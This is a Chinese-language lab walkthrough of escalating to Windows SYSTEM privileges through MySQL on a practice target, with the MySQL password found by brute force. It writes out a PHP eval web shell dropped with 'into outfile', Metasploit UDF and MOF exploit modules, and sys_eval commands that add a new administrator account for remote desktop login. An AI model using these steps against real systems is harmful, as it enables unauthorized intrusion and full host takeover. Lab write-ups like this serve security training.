Windows系统提权
一、环境准备
1、扫描IP
nmap -sn 192.168.112.0/24 ->192.168.112.194
2、扫描操作系统
nmap -O 192.168.112.194
从扫描结果可以看出,目标主机开放了80、445、3306和3389等端口,也就意味着有很多漏洞可以利用,但是本次实验,我们只拿MySQL开刀,不去利用其他漏洞,完成MySQL提权后,创建一个新的账号用于登录3389远程桌面,如登录成功,则实验成功
80 Web服务
445 SMB协议
3306 MySQL,尝试爆破
3389 远程桌面,利用超级管理员权限去新增一个管理员
我们先去爆破MySQL数据库的密码,账户随便写,只导入密码进行爆破的速度比两个都导入快,发现爆破成功(这只是靶场环境,仅作为演示)
二、UDF提权
1、信息获取
UDF即:user defined function,即用户自定义函数。本提权仅适用于MySQL 5.5.9以下版本,超出该版本无法利用成功。所以我们在Windows 2003的靶机上进行演示,Linux如果有对应版本也是可以的。
先通过爆破获取MySQL的账号,得到账密:root/qazwsx123,然后使用Navicat登录到MySQL,确认以下信息:
show variables like '%priv%' #确认MySQL的写文件的权限,拥有任意路径的写权限
show variables like '%plugin%' #确认MySQL的插件目录,并由此推断HTTP的主目录
select * from mysql.func where name = "sys_exec"; 确认系统中并不存在sys_exec的函数,需要使用UDF自行定义
先用navicat连接到目标服务器,使用MySQL进行连接,连接成功
2、进入MSF进行漏洞利用
然后show options,设置一些必须要用到的参数,password、rhosts、rport、username
设置好之后,然后run
发现出现两个错误
上传动态链接库文件到C:/PHPnow/MySQL-5.1.50/lib/plugin这个目录下
告诉我们不能创建或写入到这个目录下(我们不知道是啥原因,是因为权限不够还是其他的原因,我们也不知道),接下来就不能打开动态链接库
检查sys_exec函数,发现不能用,我们之前通过select * from mysql.func where name = "sys_exec";这个语句去确定系统中存不存在这个函数,回显的内容告诉我们不存在
既然我们有写文件的权限,我们可以写入一句话木马,通过蚁剑进行连接,看看到底是什么原因导致的
select "<?php eval($_POST['code']); ?>" into outfile "C:/PHPnow/htdocs/shell.php"
使用蚁剑进行连接,发现那个目录下没有lib目录,所以这就是出现错误的原因,不是因为权限,而是因为没有这个目录,所以我们无法写入,接下来我们手动添加目录即可
然后我们继续run一下,发现成功了
接着我们去查看一下这个函数是否存在,发现已经存在了
这里面的文件必须和我们的函数对应上
我们可以使用sys_exec来执行一些命令 ,sys_exec指令无法返回结果,只能给我们返回状态码,0代表成功,非0代表失败
我们可以在mysql数据库中的func表里面看到对应的函数定义,运行以下脚本创建用户自定义1函数
create function sys_eval returns string soname "pVnzEjux.dll";
如果能够执行成功,则利用MySQL的sys_eval函数创建新的用户和组,并完成远程登录3389登录
这样我们就可以执行eval函数了
使用命令woami看看这台主机的用户,是system权限的账号,然后我们就可以为所欲为了
select sys_eval("net user qiang 123456 /add");
select sys_eval("net localgroup /add administrators qiang");
执行这两条命令,执行完之后
我们再尝试去远程登录一下
发现登录成功,并且是超级管理员的角色
三、MOF提权
MOF指的是托管对象格式(Managed Object Format),是一种文件类型,它(nullevt.mof)在C:\WINDOWS\system32\webem\mof\路径下,将会每隔一段时间以System权限执行一次,我们可以通过root权限下的mysql将该文件写入到路径下,以达到提权的效果。提权条件:
(1)mysql允许远程连接
(2)secure_file_priv的值为空
使用漏洞模块:exploit/windows/mysql/mysql_mof,从模块路径可以看出,该Payload仅针对Windows操作系统
使用命令getid得知是系统用户,超级管理员权限